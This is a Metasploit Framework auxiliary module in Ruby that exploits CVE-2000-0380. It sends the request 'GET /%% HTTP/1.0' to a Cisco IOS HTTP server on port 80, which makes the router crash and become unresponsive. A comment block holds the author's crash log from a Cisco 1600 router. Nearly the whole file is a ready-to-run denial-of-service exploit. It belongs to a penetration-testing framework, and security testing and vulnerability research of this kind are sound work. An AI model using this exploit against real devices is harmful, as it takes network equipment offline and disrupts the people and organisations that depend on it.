##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Auxiliary::Dos::Cisco::IOS_HTTP_PercentPercent < Msf::Auxiliary

	include Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Cisco IOS HTTP GET /%% request Denial of Service',
			'Description'    => %q{
				This module triggers a Denial of Service condition in the Cisco IOS 
				HTTP server. By sending a GET request for "/%%", the device becomes
				unresponsive. IOS 11.1 -> 12.1 are reportedly vulnerable. This module
				tested successfully against a Cisco 1600 Router IOS v11.2(18)P.
			},
			'Author' 		=> [ 'Patrick Webster <patrick[at]aushack.com>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'BID', '1154'],
					[ 'CVE', '2000-0380'],
					[ 'URL', 'http://www.cisco.com/warp/public/707/cisco-sa-20000514-ios-http-server.shtml'],
					[ 'OSVDB', '1302' ],
				],
			'DisclosureDate' => 'April 26 2000'))

		register_options(
			[
				Opt::RPORT(80),
			], self.class)
						
	end

	def run
		connect

		print_status("Sending HTTP DoS packet")

		sploit = "GET /%% HTTP/1.0"
		sock.put(sploit + "\r\n")

		disconnect
	end

end
end	

=begin

Patrick Webster 20070915 Cisco 1600 Router IOS v11.2(18)P

IOS info:
	IOS (tm) 1600 Software (C1600-Y-L), Version 11.2(18)P,  RELEASE SOFTWARE (fc1)
	Copyright (c) 1986-1999 by cisco Systems, Inc.
	Compiled Mon 12-Apr-99 14:53 by ashah

Example crash:

	%Software-forced reload
	Preparing to dump core...
	Router>
	*Mar  1 00:03:06.349: %SYS-2-WATCHDOG: Process aborted on watchdog timeout, Process = HTTP Server
	-Traceback= 80EE1BC 80F0EC0 80EC004 81C0832 81C0B2E 81C0C76 81C0D68 81C0E4E
	Queued messages:
	*** EXCEPTION ***
	software forced crash
	program counter = 0x80eaca6
	status register = 0x2700
	vbr at time of exception = 0x4000000

=end